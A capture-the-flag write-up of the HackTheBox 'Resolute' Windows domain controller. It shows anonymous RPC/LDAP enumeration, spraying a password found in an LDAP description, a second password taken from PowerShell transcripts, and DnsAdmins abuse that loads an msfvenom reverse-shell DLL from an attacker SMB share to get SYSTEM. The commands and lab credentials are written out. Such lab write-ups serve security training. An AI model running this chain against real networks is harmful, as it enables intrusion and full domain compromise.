Resolute Writeup

25 May 2023 #CTF #HTB #box #medium #windows

Resolute info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.10.169
[...]
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-25 12:03:54Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h27m00s, deviation: 4h02m31s, median: 6m59s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-05-25T12:03:57
|_  start_date: 2023-05-25T09:30:19
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2023-05-25T05:03:59-07:00
[...]

We see Kerberos, LDAP and DNS so it looks like we are dealing with a Domain Controller

SMB

When trying to list the shares anonymously, we get an error:

$ smbclient -NL 10.10.10.169
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.169 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

When using the hostname of the box (after adding it to /etc/hosts) we don't get it:

$ smbclient -NL RESOLUTE
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------

We still can't list the shares, but that doesn't mean we don't have any access.

Let's try to use rpcclient to see if we can connect to the IPC$ share:

$ rpcclient -U % 10.10.10.169
rpcclient $> querydominfo
Domain:         MEGABANK
Server:
Comment:
Total Users:    79
Total Groups:   0
Total Aliases:  0
Sequence No:    1
Force Logoff:   -1
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1
rpcclient $>

We indeed can. -U % is how we specify to use the null session.

Let's use the enumdomusers to dump all user accounts in AD:

$ rpcclient -U % 10.10.10.169 -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep -v '^0x' | tee users.txt
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki

We need to use a bit of grep magic to get a nice user list.

LDAP

Let's try anonymous LDAP authentication as well:

$ ldapsearch -x -b 'DC=megabank,DC=local' -H ldap://10.10.10.169
[...]
# megabank.local
dn: DC=megabank,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=megabank,DC=local
instanceType: 5
[...]

Cool, it works.

We can try looking for common attributes like the description. Occasionally, we'll see some interesting info in there:

$ ldapsearch -x -b 'DC=megabank,DC=local' -H ldap://10.10.10.169 | grep -i descr
[...]
description: Account created. Password set to Welcome123!
[...]

Like passwords (:

Foothold

Let's spray the password we found with the user list we got from SMB:

$ crackmapexec winrm 10.10.10.169 -u users.txt -p Welcome123!
SMB    10.10.10.169  5985  RESOLUTE   [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)
HTTP   10.10.10.169  5985  RESOLUTE   [*] http://10.10.10.169:5985/wsman
WINRM  10.10.10.169  5985  RESOLUTE   [+] megabank.local\melanie:Welcome123! (Pwn3d!)

Nice, we can winrm to the DC with melanie:

$ evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>

Privesc

Melanie to Ryan

There is another user that can login to the DC:

*Evil-WinRM* PS C:\> ls /users

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019  10:43 AM                Administrator
d-----        12/4/2019   2:46 AM                melanie
d-r---       11/20/2016   6:39 PM                Public
d-----        9/27/2019   7:05 AM                ryan

Let's check this user out:

*Evil-WinRM* PS C:\> net user ryan
User name                    ryan
Full Name                    Ryan Bertrand
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/25/2023 7:02:03 AM
Password expires             Never
Password changeable          5/26/2023 7:02:03 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Contractors

He is a member of the Contractors group. This is not a default AD group so we'll dig around a bit more to see if this group is member of other groups (we could just use BloodHound, but I was just lazy, classic):

*Evil-WinRM* PS C:\> import-module ActiveDirectory
*Evil-WinRM* PS C:\> Get-ADGroupMember DnsAdmins

distinguishedName : CN=Contractors,OU=Groups,DC=megabank,DC=local
name              : Contractors
objectClass       : group
objectGUID        : 9f2ff7be-f805-491f-aff1-3653653874d7
SamAccountName    : Contractors
SID               : S-1-5-21-1392959593-3013219662-3596683436-1103

Contractors is a member of DnsAdmins which means that it's like Ryan is also a member of DnsAdmins (nested group membership). DnsAdmins is a dangerous group but we'll see that in a second.

There is a unusual PSTranscripts directory in C:\:

*Evil-WinRM* PS C:\> ls -force

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        5/26/2023   5:44 AM      402653184 pagefile.sys


*Evil-WinRM* PS C:\> ls -force PSTranscripts

    Directory: C:\PSTranscripts

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/3/2019   6:45 AM                20191203

Note that we have to use ls -force (or gci -force) because this is a hidden directory.

In this directory, there is a log of a powershell session from Ryan with his password:

[...]
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
[...]

We can now login to the DC as Ryan:

$ evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>

Ryan to SYSTEM

Members of the DnsAdmins group have the rights to load a DLL, and it's not unusual for them to also have rights to restart the DNS service on the DC. The DNS service always runs as SYSTEM so it's pretty much GG.

We'll start by generating a malicious DLL that will send us a reverse shell when loaded:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=53 -f dll -o
 msf.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: msf.dll

We can host the DLL on our box:

$ impacket-smbserver public $PWD
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[...]

And load it remotely:

*Evil-WinRM* PS C:\programdata> dnscmd.exe /config /serverlevelplugindll \\10.10.14.14\public\msf.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Make sure to not set a password for the share otherwise the DC won't be able to load the DLL (definitely not what I did nope).

Now restart the service to execute the evil DLL:

*Evil-WinRM* PS C:\programdata> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0


*Evil-WinRM* PS C:\programdata> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x4e20
        PID                : 1444
        FLAGS              :

Once the service starts, we should get a reverse shell back as SYSTEM:

$ nc -lnvp 53
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::53
Ncat: Listening on 0.0.0.0:53
Ncat: Connection from 10.10.10.169.
Ncat: Connection from 10.10.10.169:54451.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Note that this is a very bad way of exploiting this because the reverse shell hangs the DNS service. If you want the proper way to do this check out Ippsec's video.

Anyway, once we get the shell back, we can clean up our mess:

*Evil-WinRM* PS C:\programdata> reg.exe delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
[...]
*Evil-WinRM* PS C:\programdata> sc.exe stop dns
[...]
*Evil-WinRM* PS C:\programdata> sc.exe start dns
[...]

This will unregister the DLL and restart the service once again to a clean state.

Key Takeaways